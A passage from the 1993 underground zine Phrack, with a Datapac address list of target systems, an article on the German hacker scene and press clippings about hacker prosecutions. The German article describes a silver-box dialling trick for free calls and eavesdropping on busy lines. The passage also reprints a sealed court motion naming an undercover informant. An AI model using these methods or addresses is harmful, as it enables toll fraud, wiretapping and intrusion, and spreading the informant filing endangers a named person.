1-255 = The number of padding characters
to be inserted in both data
transfer and command mode.
10) Line Folding
This parameter indicates the maximum number of printable
characters that can be displayed on the terminal before the PAD must
send a format effector (i.e.., <CR><LF>). This permits more data to
be transmitted in one packet while still letting the user print out
more than one line, i.e., printing out forms.
11) Transmission Speed (Read only)
This parameter is set by the PAD as a result of transmission
speed detection if the terminal accesses an autobaud port. When a
private port with fixed speed is used, this parameter is set based
on the pre-stored information selected at subscription time.
Parameter Number: 11
Possible Values: 0 = 110 bps
2 = 300 bps
3 = 1200 bps
4 = 2400 bps
This is all very dry stuff (what buffer isn't?) however if you need more
info on it simply mail me.
NUA list
20500011 Bell Northern Research
39400100 Envoy (English/Francais)
30400101 Envoy (Anglais/French)
39500032 Globe and Mail
41100015,I Infoglobe
59600072 University of Athabasca
60100010 Universtiy of Alberta
67100752 ?
67100673 ?
20400177 QL
29400138 Tymnet CIS02 7770,101 'free demo'
20401338 Tymnet
41100043 CSG Infoglobe
73500023 KN Computer MCT
59100092 Keyano College (Alberta)
72400014 System Max-Daisey (VAX/VMS)
69100018 Cybershare
55500010 ?
29400263 ?
29400263 ?
67100086 Sears
67100132 Primenet
67100489 Terminal ID=VAX
67100629 (VAX/VMS)
67100632 McKim Advertising (Vancouver)
93200233 University of Manitoba
79400100 Envoy Info/Mailbox
92100086 Datapac General Info
20500011 Canole II
I have kept a number of sites I have, off this list simply
to ensure I keep them, however there are thousands of Virgin
sites available off of Dpac. Something to keep your eyes open for
are Canadian government machines which are fairly abundant on the
Dpac.
Beyond Dpac, there are some actual BBS's worth calling, most
however would rather not have there numbers published in Phrack. None
the less here are some stable, and relatively active BBS's:
The Underground Subway 606-590-1147
Gridpoint 403-283-5519
The G-spot (Rabid HQ) 416-256-9017
Front 242 (VX)(Rabid) 416-790-6632
I am sorry for what this article did not cover, in the umpteen or so
pages I have punched up, I still have covered not even a tenth
of what I would like to cover. For those who wish a reliable UG
bbs for list .ca or more info on the Dpac or wish to elicit any other
response to this article please e-mail me at besaville@sait.ab.ca
*********************************************************************
The German Scene
(by SevenUp)
----------------
CCC
---
Talking about the German Hacker Scene, the Chaos Computer Club (CCC) comes
to most people's mind. They are most famous for their 'NASA-Hack' and their
publications like Hackerbibel and Datenschleuder, a monthly magazine talking
about 'softer' stuff than 2600, such as MUD's, the Internet and BBS'es.
They organize the annual Chaos Communication Congress, held annually
from December, 27th till 29th in Hamburg. Usually around 1000 people show up
there, discussing many different topics, such as Phreaking, Internet,
Women and Computer, Cellular Phones, Phone Cards and others. Many well-known
people, like Pengo and Professor Brunnstein the meeting. There are usually
also shows of Horror Movies (but no porns like at HohoCon), but it's not
a real 'party' like SummerCon or the upcoming Hacktic Party.
Another annually meeting from CCC members and many other hackers is at the
huge computer fare 'CeBit' in Hannover in March. The Get Together is at the
Telekom booth on Tuesday at 4pm. Usually Telekom (the German phone company)
representatives are very kind, give away phone cards (value: $4), but
usually don't have any interesting new informations.
There haven't been any hacks affiliated with the CCC for the last couple of
years. The CCC tries to get away from their former criminal image, talking
mostly about risks of computers in society, and producing lots of press
releases.
The KGB Hack
------------
Most of you might know "The Cuckoo's Egg" by Cliff Stoll. His exciting
novel talks about German Hackers hacking for the KGB.
These guys were using the German x.25 network Datex-P to get to a US
University, and from there to several hosts on the Arpa/Milnet (Internet).
They were using mostly basic knowledge to get into several UNIX and VMS
Systems, reading personal Mail and looking for documents the 'Russians'
might have been interested in.
It all ends up with the suicide (murder?) of Karl Koch, one of the hackers.
Although these hackers weren't CCC members, there is a pretty good book
from the CCC about it, containing more facts than Cliff's book:
"Hacker fuer Moskau", published by Wunderlich.
This is probably the best known German hack of all times.
Networks
--------
I. x.25
The German x.25 System is called 'Datex-P' and has the DNIC (2624).
Dialups are in almost every area code, or can be reached locally from
everywhere. There are also Tymnet and Sprintnet Dialups available in
the major cities, with some limitations though. Tymnet won't connect you
to dpac (Datapac Canada). Sprintnet has just a true dialup in Frankfurt,
the other dialups are handled by their partner Info AG, which allow
calling most RNUAs, but most Sprintnet NUIs won't work.
There is a 'Subnet' in the Datex-P Network, the so called 'WiN'
(which means scientific network). Almost all universities have connections
to the WiN, which means they pay a flat rate each month, which allows
them to make as many calls and transfer as much data to other WiN hosts,
as they like. Usually x.25 rates are charged by the volume of packages/data.
You can identify WiN addresses easily, because they start with
(0262)45050... There are many gateways from WiN to Internet, and also a few
from Internet to WiN. WiN NUAs can be reached without problem from any x.25
network in the world, like Sprintnet or Tymnet; though most WiN PADs will
refuse to connect to non-WiN NUAs.
There are also a couple of German systems, international hackers used to like.
The most-famous is probably Lutzifer in Hamburg, Germany. It can still
be reached from x.25 Networks like Sprintnet or Tymnet.
Around two years ago, British, American and other hackers used to trade
all kinds of codez on "Lutz". But now, Pat Sisson ("frenchkiss") from Sprintnet
Security and Dale Drew ("Bartman") from Tymnet Security, try to track
down everyone abusing their NUIs or PADs.
Before Lutzifer went up 2.5 years ago, tchh and Altos Munich were most
attractive. They were running the same simple Korn-Chat on an Altos.
There are still a couple of other x.25 Systems, which attract hackers
from all over the world, like qsd, Pegasus (in France and Switzerland) and
Secret Tectonics / sectec, a rather new semi-private Board in Germany with
x.25 and Direct Phone Dialups, uucp/Internet Mail, File and Message Bases and
all Phrack Issues as well.
II. Internet
But now, most hackers quit the x.25 scene and tried to get onto Internet.
Unlike the fast Internet connections in the USA between .edu sites,
German Internet connections are mostly routed through slow (9.6kbps or 64k)
x.25 Links.
This is mostly the fault of the German phone company 'Telekom'. They have a
monopoly on phone lines in Germany and charge 2-10 times higher fees than
American phone co's. Even local calls are US$1.50/hour.
There aren't many German Internet Sites that attract foreign hackers,
compared to US Sites that German Hackers are interested in.
There are almost no public Internet BBSes with free access in Germany.
Also, German Universities have often a pretty tight security and get
mad easily.
III. Amiga Kiddos
BBS'es are still the major hang-out besides IRC. The Amiga Scene with
its K-rad Kiddos (most of them under 18 years) used to be dominant a
couple of years ago, trading Calling Cards and new Blue Box frequencies
to call the best boards in the US to leech the latest games.
But recently, the IBM scene caught up and many guys switched from Amiga
to IBM; so over 50% of pirate boards are IBM boards now.
But recently, BBS sysops have to face hard times. A couple of months
ago, lots of BBS'es in Berlin, but also in Bavaria and North Germany
got 'busted' - raided by the police because of their illegal warez.
(see my article in Phrack 42 about it) The man behind these actions
is the lawyer 'Guenther Freiherr von Gravenreuth', who works for Acti-
vision, the SPA and BSA. He is tracking down kids with piracy as recklessly
as BBS Sysops, who sell subscriptions for a 'Disabled Upload/Download Ratio'
for around $100 a month. There have been a couple of these trials lately,
without much notice by the press. Mr Gravenreuth is also responsible for
many people's fear to put up a new BBS - especially in Bavaria where he lives.
Also, calling the favorite Board in the US is getting harder and harder,
as covered in the next Chapter.
IV. The Phone System
Blueboxing used to be the favorite sport of many German traders for the
last couple of years. But some phreakers wanted to make more money,
selling the Bluebox Story to Magazines like Capital or Spiegel, or to
TV Shows. Even AT&T and the German Telecom, who seemed to be blind about
this phreaking, couldn't avoid facing the truth now - they had to do
something, not only to recover from the huge losses, but also to save
their reputation.
There are a lot of rumors and text files about the actions these phone
companies took; most of them are fakes by 'eleet' people, who don't want
the 'lamers' to keep the trunks and the eleet boards busy. But some actions
seem to be certified; e. g. Telekom bought some intelligent filter boxes
from British Telecom. These boxes should detect any C5 tones (especially
2600 Hz), being sent by phreakers; and log the number of the phreaker,
if possible.
If possible, because the Telekom doesn't have ANI in most cases. Until
recently, all phone lines used to be analog, pulse dialing lines
with huge relay switches. Then the Telekom started switching to 'modern'
digitally switched lines, which allow Touch-Tone-Dialing, and also a few
other nice features, which I want to cover now.
One of these nice features 'died' just about 3 weeks ago, because someone
informed the new magazine 'Focus'.
The trick was very simple. All you need was a digital line which allowed
you to dial touch tone, and a 'Silver Box' - a device, that allows you to
dial the digits 0...9, #, * and also A, B, C and D - many modems have
this capability too.
All you had to do was to dial 'B' + 'xxx' + 'yyyy', where 'B' is the
Silver Tone B, 'xxx' is an internal Telekom code, and 'yyyy' are the last
four digits of a phone number. The internal codes 'xxx' usually look like
010, 223, 011, and so on - they switch you to an exchange, mostly in your
own area code, but often in a different one! Notice that exchange number and
internal code are different. When you are connected to a certain exchange,
dialing the four 'yyyy' digits connects you to a certain phone number in
that exchange. This enables you to make free calls - also to different area
codes, but you have to try around to find which code matches with which
exchange. But that's not all; now the fun just begins! Imagine the number
you dial is busy... you won't hear a busy signal then, you would just be
connected into the call! You could listen to the conversation of two parties!
Imagine how much fun this could be... and imagine someone would be listening
to your private conversations!
When Telekom read the article, most area codes lost this capability;
but there are still some reported to work.
Blueboxing is getting harder and harder, MCI and AT&T keep on changing their
'Break' frequencies more rapidly (though they still use in-band CCITT C5
signalling); so more and more people offer Calling Card subscriptions, and
even more traders, who refuse paying Telekom's high fees, buy them. They
are offered mostly by Americans, Belgium people and Germans, for about $100
a month. Also, I haven't heard of any case where a German got busted for
abusing AT&T's Calling Cards; probably because Telekom can't really trace
phones lines, either technically nor legally (they may not just 'tap' phone
lines because of people's privacy).
Also, German Toll Free Numbers (they start with 0130) are getting more and
more. I would take a guess and say they grow 20%-80% a year. There isn't any
official directory nor a directory assistance for these numbers, and many
companies want these numbers to remain 'unknown' to the evil hackers, since
Telekom is asking high fees for them.
So many Germans compile and scan these numbers; there is also a semi-public
list on them by SLINK - available on many BBS'es and on local German Newsgroups.
This list also contains numbers of business companies like Microsoft,
Hewlett Packard or Dell in Austin (hi erik :) ), so it is quite useful for
'normal people' too.
There have also been reported the first PBX-like Systems in Germany; this is
quite a sensation, because German Telekom laws don't allow PBX'es, or even the
linking of two phone lines (like 3-way calling). So in fact, these Systems
weren't real PBX'es, but Merial Mail VMB Systems with the Outdial feature.
PaRtY 0n!
---------
There are a couple of interesting get-togethers and parties.
I mentioned the annual Chaos Communication Congress after Christmas;
the CCC also has weekly meetings on Tuesday. There are the annual
CeBIT hacker parties, on the Tuesday at CeBIT in March. After the
CeBIT meeting and weekly, there are get-togethers at the 'Bo22',
a cafe in Hannover. These meetings have tradition since the KGB
Hacks of Pengo and 'Hagbard Celine' Karl Koch, as I mentioned above.
You will still find friends of them there, if you drop by on a Tuesday.
Since a couple of months and with Emmanuel Goldstein's great support,
we are having 2600 meetings in Munich, Germany too! These are the first
2600 meetings outside of the US; the first meeting was quite successful
with over 30 people, and the next one in July will be successful too,
hopefully. Some international visitors from the US are expected, too.
These meetings are held at around 6pm in front of Burger King at
Central Station, Munich. I also like to thank Munich's Number One
Hit Radio Station 89 HIT FM at this point, for letting us into the
air for 3 minutes, talking about the 2600 meeting and a bit about 'hacking'.
There are also semi-annual IRC parties in Germany, but they are
'just' parties with usually 100-150 people. Hacking and phreaking
isn't a topic there; probably less than 10% of them know what H/P means.
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 27 of 27
PWN PWN PNW PNW PNW PNW PNW PNW PNW PNW PNW PWN PWN
PWN PWN
PWN Phrack World News PWN
PWN PWN
PWN Compiled by Datastream Cowboy PWN
PWN PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
New Yorker Admits Cracking July 3, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~
(From AP Newswire Sources)
Twenty-one-year-old Mark Abene of New York, known as "Phiber Optik" in
the underground computing community, has pleaded guilty to charges he
participated in a group that broke into computers used by phone companies
and credit reporting services.
The Reuter News Service says Abene was the last of the five young men
indicted in the huge 1991 computer break-in scheme to admit committing the
crimes. The group called itself "MOD," an acronym used for "Masters of
Disaster" and "Masters of Deception."
Abene pleaded guilty to one count of conspiracy and one count of
unlawful access to computers. He faces a possible maximum prison term of
10 years and fine of $500,000.
-----------------------------------------------------------------------------
China Executes Computer Intruder April 26, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(From AP Newswire Sources)
A man accused of invading a computer and embezzling some
$192,000 has been executed in China.
Shi Biao, an accountant at the Agricultural Bank of China's Jilin
branch, was accused of forging deposit slips from Aug. 1 to
Nov. 18, 1991.
The crime was the first case of bank embezzlement via
computer in China. Authorities became aware of the plot
when Shi and his alleged accomplice, Yu Lixin, tried to wire
part of the money to Shenzhen in southern China.
-----------------------------------------------------------------------------
Teen Takes the A Train --- Literally May 13, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(From AP Newswire sources)
A 16 year old 10th grader successfully conveyed passengers on a NYC 10 car
subway train for 2.5 hours until he went around a curve too quickly and
could not reset the emergency brakes. Keron Thomas dressed as a NY subway
train engineer impersonated Regoberto Sabio, a REAL subway motorman, while he
was on vacation and even obtained Sabio's "pass number".
Thomas was a Subway enthusiast who hung around train stations and areas
where subway motormen and other subway workers hang out. A NYC subway
spokesman was quoted as saying "Buffs like to watch...pretty soon they
figure out how" [to run the train]. "This guy really knew what he was doing".
Thomas was charged with criminal trespassing, criminal impersonation, and
reckless endangerment.
-----------------------------------------------------------------------------
Banks React To Scheme That Used Phony ATM May 13, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(From AP Newswire Sources)
At least three people are believed to be involved in an ATM scam that is
thought to have netted roughly $ 60,000. The fraud was perpetrated by
obtaining a real ATM machine (theorized to have been stolen from a warehouse)
and placing it in a Connecticut shopping mall.
When people attempted to use the machine, they received a message that the
machine wasn't working correctly and gave back the card. Little did they
know that their bank account number and PIN code was recorded. The fake
machine was in place for about 2 weeks. It was removed and the thieves
began making withdrawals.
The Secret Service thinks the scammers recorded anywhere from 2000 to 3000
account numbers/pin codes but did not get a chance to counterfeit
and withdraw money except from a few hundred accounts before it
became too dangerous to continue
-----------------------------------------------------------------------------
Hacker Gets Jail Time June 5, 1993
~~~~~~~~~~~~~~~~~~~~~
(Newsday) (Page 13)
A Brooklyn College film student, who was part of a group that allegedly broke
into computer systems operated by major telephone companies, was sentenced
yesterday to 1 year and 1 day in prison.
John Lee, 21, of Bedford Stuyvesant, also was sentenced to 200 hours of
community service, which Manhattan Federal District Court Judge Richard Owen
recommended he spend teaching others to use computers. Lee had pled guilty
December 3, 1992, to a conspiracy charge involving computer tampering, fraud
and illegal wiretapping.
_______________________________________________________________________________
Hacker Gets Prison Term For Phone Computer Tampering June 4, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Gail Appleson (The Reuter Business Report)
NEW YORK -- A computer hacker known as "Corrupt" who was part of a group that
broke into computer systems operated by major telephone companies was
sentenced Friday to one year and one day in prison.
The defendant, John Lee, 21, of New York had pleaded guilty December 3, 1992
to a conspiracy charge involving computer tampering, fraud and illegal
wiretapping.
The indictment alleges the defendants broke into computer switching systems
operated by Southwestern Bell, New York Telephone, Pacific Bell, U.S. West
and Martin Marietta Electronics Information and Missile Group.
Southwestern Bell allegedly lost $370,000 because of the crimes.
The defendants also allegedly tampered with systems owned by the nation's
largest credit reporting companies including TRW, Trans Union and Information
America. They allegedly obtained 176 TRW credit reports on various
individuals.
The indictment alleged the group broke into the computers "to enhance their
image and prestige among other computer hackers and to harass and intimidate
rival hackers and other people they did not like."
_______________________________________________________________________________
Professional Computer Hackers First To Land In Jail Under New Law June 4, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Nicholas Hills (The Vancouver Sunds)(Page A11)
LONDON -- In Brussels, they were celebrated as the two young men who broke the
gaudy secrets of EC president Jacques Delors' expense accounts.
In Sweden, they were known as the Eight-Legged Groove Machine, bringing down
part of the country's telephone network, forcing a highly publicized apology
from a government minister who said the chaos was all due to a 'technical
fault'.
They also broke into various European defense ministry networks, academic
systems at Hull University and the financial records of the leading London
bankers, S.G. Warburg.
No, these weren't two happy-go-lucky burglars; but rather, professional
computer hackers, aged 24 and 22, who made legal as well as technological
history by being the first offenders of this new trade to be jailed for their
crimes under new British law.
Neil Woods and Karl Strickland have gone to prison for six months each for
penetrating computer systems in 15 different countries. The ease with which
they conducted this exercise, and their attitude that they were simply engaging
in "intellectual joyriding," has confirmed the worst fears of legal and
technological experts that computer hacking in Europe, at least, has become a
virtually uncontrollable virus.
The case became a cause celebre because of what had happened months before in
another courtroom where a teenage computer addict who had hacked into the White
House system, the EC, and even the Tokyo Zoo -- using a $400 birthday present
from his mother -- had walked free because a jury accepted, basically, that a
computer had taken over his mind.
The case of 19-year-old Paul Bedworth, who began hacking at the age of 14, and
is now studying "artificial intelligence" at Edinburgh University, provides an
insight into why hackers have turned the new computer world into an equivalent
state of delirium tremens.
Bedworth and two young friends caused thousands of dollars worth of damage to
computer systems in Britain and abroad. They were charged with criminal
conspiracy under the Computer Misuse Act of 1990.
Bedworth never did deny computer hacking at his trial, and did not give
evidence in his defense. He simply said through his lawyer that there could
not have been any criminal intent because of his "pathological obsession" with
computers.
A jury of eight men and three women unanimously acquitted him.
Until the passage of the Computer Misuse Act in 1990, hacking was legal in
Britain. Bedworth may have been found not guilty, but his activities were so
widespread that the authorities' investigation involved eight different British
police forces, and others from as far afield as Finland and Singapore. It
produced so much evidence - mostly on disk - that if it had been printed out on
ordinary laser printer paper, it is estimated that the material would have
reached a height of 42 meters.
The police were devastated by the verdict, but are now feeling somewhat better
after the conviction of Woods and Strickland.
The pair, using the nicknames of Pad and Gandalf, would spend up to six hours a
day at their computers, boasting about "smashing" databases.
-----------------------------------------------------------------------------
Computers Turned My Boy Into A Robot March 18, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By Martin Phillips (Daily Mirror)(Page 1)
Connie Bedworth said she was powerless to control the "monster" as he
glued himself to the screen nearly 24 hours as day. "He didn't want
to eat or sleep--he just couldn't bear to be away from it, " she said.
A jury decided Paul Bedworth, now 19, was so "hooked" he could not stop
himself hacking in to companies' systems -- allegedly costing them
thousands of dollars.
-----------------------------------------------------------------------------
Hot For The Fingertips: An Internet Meeting Of Minds May 23, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Frank Bajak (Associated Press)
NEW YORK -- Somewhere in the ether and silicon that unite two workstations 11
floors above lower Broadway, denizens of the cyberpunk milieu are feverishly
debating whether anyone in government can be trusted.
This is the 12-by-20-foot bare-walled home of MindVox, today's recreation hall
for the new lost generation's telecomputing crowd. You can enter by phone
line or directly off Internet.
Patrick Kroupa and Bruce Fancher are the proprietors, self-described former
Legion of Doom telephone hackers who cut the cord with computing for a time
after mid-1980s teen-age shenanigans.
Kroupa is a towering 25-year-old high school dropout in a black leather jacket,
with long hair gathered under a gray bandanna, three earrings and a hearty
laugh.
Fancher is 22 and more businesslike, but equally in love with this dream he
left Tufts University for.
They've invested more than $80,000 into Mindvox, which went fully operational
in November and has more than 2,000 users, who pay $15 to $20 a month plus
telephone charges.
MindVox aspires to be a younger, harder-edged alternative to the WELL, a
fertile 8-year-old watering hole for the mind in Sausalito, California, with
more than 7,000 users, including scores of computer age luminaries.
One popular feature is a round-table discussion on computer theft and security
hosted by a U.S. Treasury agent. The latest hot topic is the ease of breaking
into a new flavor of local access network.
-----------------------------------------------------------------------------
Hi Girlz, See You In Cyberspace May 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Margie (Sassy Magazine) (Page 79)
[Margie hits the net via Mindvox. Along the way she discovers
flame wars, sexism, and a noted lack of females online. This
is her story. :) ]
-----------------------------------------------------------------------------
Hacker Accused of Rigging Radio Contests April 22, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By Don Clark (San Francisco Chronicle)
A notorious hacker was charged yesterday with using computers to
rig promotional contest at three Los Angeles radio stations, in
a scheme that allegedly netted two Porsches, $20,000 in cash and
at least two trips to Hawaii.
Kevin Lee Poulsen, now awaiting trial on earlier federal charges,
is accused of conspiring with two other hackers to seize control of
incoming phone lines at the radio stations. By making sure that only
their calls got through, the conspirators were assured of winning the
contests, federal prosecutors said.
A new 19-count federal indictment filed in Los Angeles charges
that Poulsen also set up his own wire taps and hacked into computers
owned by California Department of Motor Vehicles and Pacific Bell.
Through the latter, he obtained information about the undercover
businesses and wiretaps run by the FBI, the indictment states.
Poulsen, 27, is accused of committing the crimes during 17
months on the lam from earlier charges of telecommunications and
computers fraud filed in San Jose. He was arrested in April 1991
and is now in the federal Correctional Institution in Dublin. In
December, prosecutors added an espionage charge against him for his
alleged theft of a classified military document.
The indictment announced yesterday adds additional charges of
computer and mail fraud, money laundering, interception of wire
communications and obstruction of justice.
Ronald Mark Austin and Justin Tanner Peterson have pleaded guilty
to conspiracy and violating computer crime laws and have agreed to
help against Poulsen. Both are Los Angeles residents.
Poulsen and Austin have made headlines together before. As
teenagers in Los Angeles, the two computer prodigies allegedly broke
into a Pentagon-organized computer network that links researchers and
defense contractors around the country.
-----------------------------------------------------------------------------
SPA Tracks Software Pirates on Internet March 22, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By Shawn Willett (InfoWorld)(Page 12)
The Software Publishers Association has begun investigating reports of
widespread piracy on the Internet, a loose amalgam of thousands of computer
networks.
The Internet, which began as a Unix-oriented, university-based communi-
cations network, now reaches into corporate and government sites in 110
countries and is growing at a rapid pace.
The software theft, according to Andrew Patrizio, an editor at the
_Software Industry Bulletin_, has been found on certain channels, particularly
the warez channel.
"People are openly talking about pirating software; there seems to be no
one there to monitor it", Patrizio said.
A major problem with the Internet is that the "sites" from where the
software is being illegally downloaded can physically be located in countries
that do not have strong antipiracy laws, such as Italy or the former Soviet
Union. The Internet also has no central administrator or system operator.
"Policing the entire Internet would be a job", said Peter Beruk,
litigation manager for the SPA, in Washington. "My feeling would be to target
specific sections that are offering a lot of commercial software free for the
download", he said.
---------------------------------------------------------------------------
Socialite's Son Will Have To Pay $15,000 To
Get His Impounded 1991 BMW Back March 23, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By John Makeig (Houston Chronicle)(Page 14A)
Kenyon Shulman, son of Houston socialite Carolyn Farb will have to pay
15 thousand dollars to get back his 1991 BMW 325i after being impounded
when Houston police found 400 doses of the drug ecstasy in its trunk.
This is just the latest brush with authorities for Shulman who in 1988
was raided by Harris County authorities for using his personal computer
to crack AT&T codes to make free long distance calls.
--------------------------------------------------------------------------
Austin Man Gets 10 Years For Computer Theft, Sales May 6, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By Jim Phillips (Austin American Statesman)(Page B3)
Jason Copson, who was arrested in July under his alias Scott Edward Berry,
has been sentenced to 10 years on each of four charges of burglary and
one count of assault. The charges will run concurrently. Copson still
faces charges in Maryland and Virginia where he served a prison term and
was serving probation for dealing in stolen goods. Police arrested Copson
and Christopher Lamprecht on July 9 during a sting in which the men tried to
sell computer chips stolen from Advanced Micro Devices.
---------------------------------------------------------------------------
Treasury Told Computer Virus Secrets June 19, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By: Joel Garreau (Washington Post) (Page A01)
For more than a year, computer virus programs that can wreak havoc with
computer systems throughout the world were made available by a U.S. government
agency to anyone with a home computer and a modem, officials acknowledged this
week.
At least 1,000 computer users called a Treasury Department telephone number,
spokesmen said, and had access to the virus codes by tapping into the
department's Automated Information System bulletin board before it was muzzled
last month.
The bulletin board, run by a security branch of the Bureau of Public Debt in
Parkersburg, W.Va., is aimed at professionals whose job it is to combat such
malicious destroyers of computer files as "The Internet Worm," "Satan's Little
Helper" and "Dark Avenger's Mutation Engine." But nothing blocked anyone else
from gaining access to the information.
Before the practice was challenged by anonymous whistleblowers, the bulletin
board offered "recompilable disassembled virus source code"-that is, programs
manipulated to reveal their inner workings. The board also made available
hundreds of "hackers' tools"-the cybernetic equivalent of safecracking aids.
They included "password cracker" software-various programs that generate huge
volumes of letters and numbers until they find the combination that a computer
is programmed to recognize as authorizing access to its contents-and "war
dialers," which call a vast array of telephone numbers and record those hooked
to a computer.
The information was intended to educate computer security personnel,
according to Treasury spokesmen. "Until you understand how penetration is done,
you can't secure your system," said Kim Clancy, the bulletin board's operator.
The explosion of computer bulletin boards-dial-up systems that allow users
to trade any product that can be expressed in machine-readable zeros and
ones-has also added to the ease of virus transmission, computer analysts say.
"I am Bulgarian and my country is known as the home of many productive virus
writers, but at least our government has never officially distributed viruses,"
wrote Vesselin Vladimirov Bontchev of the Virus Test Center of the University
of Hamburg, Germany.
At first, the AIS bulletin board contained only routine security alert
postings. But then operator Clancy "began to get underground hacker files and
post them on her board," said Bruce Sterling, author of "The Hacker Crackdown:
Law and Disorder on the Electronic Frontier." "She amassed a truly impressive
collection of underground stuff. If you don't read it, you don't know what's
going to hit you."
Clancy, 30, who is a former Air Force bomb-squad member, is highly regarded
in the computer security world. Sterling, one of the nation's foremost writers
about the computer underground, called her "probably the best there is in the
federal government who's not military or NSA (National Security Agency).
Probably better than most CIA."
Clancy, meanwhile, is staying in touch with the underground. In fact, this
week, she said, she was "testing a product for some hackers." Before it goes
into production, she will review it to find potential bugs. It is a new war
dialer called "Tone-Loc." "It's an extremely good tool. Saves me a lot of
trouble. It enables me to run a hack against my own phone system faster" to
determine points of vulnerability.
-----------------------------------------------------------------------------
[AGENT STEAL -- WORKING WITH THE FEDS]
IN THE UNITED STATES DISTRICT COURT
FOR THE NORTHERN DISTRICT OF TEXAS
DALLAS DIVISION
-----------------------------------
THE UNITED STATES OF AMERICA *
*
V. * CRIMINAL NO. 3-91-194-T
* (FILED UNDER SEAL)
JUSTIN TANNER PETERSEN (1) *
JOINT MOTION TO SEAL
COMES NOW the United States of America, by its United
States Attorney, at the request of the defendant, and hereby
requests that this Honorable Court seal the record in this case.
In support thereof, the United States states the following:
1. The case is currently being transferred to the
Middle District of California for plea and disposition pursuant
to Federal Rule of Criminal Procedure 20;
2. The defendant is released on bond by the United
States District Court for the Middle District of California;
3. The defendant, acting in an undercover capacity,
currently is cooperating with the United States in the
investigation of other persons in California; and
4. The United States believes that the disclosure of
the file in this case could jeopardize the aforesaid
investigation and possibly the life of the defendant.
Consequently, the United States requests that this Honorable
Court seal the record in this case.
Respectfully submitted,
MARVIN COLLINS
United States Attorney
LEONARD A. SENEROTE
Assistant United States Attorney
Texas State Bar No. 18024700
1100 Commerce Street, Room 16G28
Dallas, Texas 75242-1699
(214) 767-0951
CERTIFICATE OF CONFERENCE
The defendant joins in this motion.
LEONARD A. SENEROTE
Assistant United States Attorney
[The entire file of information gathered from the courts regarding
Agent Steal is available from Phrack for $5.00 + $2 postage]
-------------------------------------------------------------------------
--------------------------------------------------------------------------------
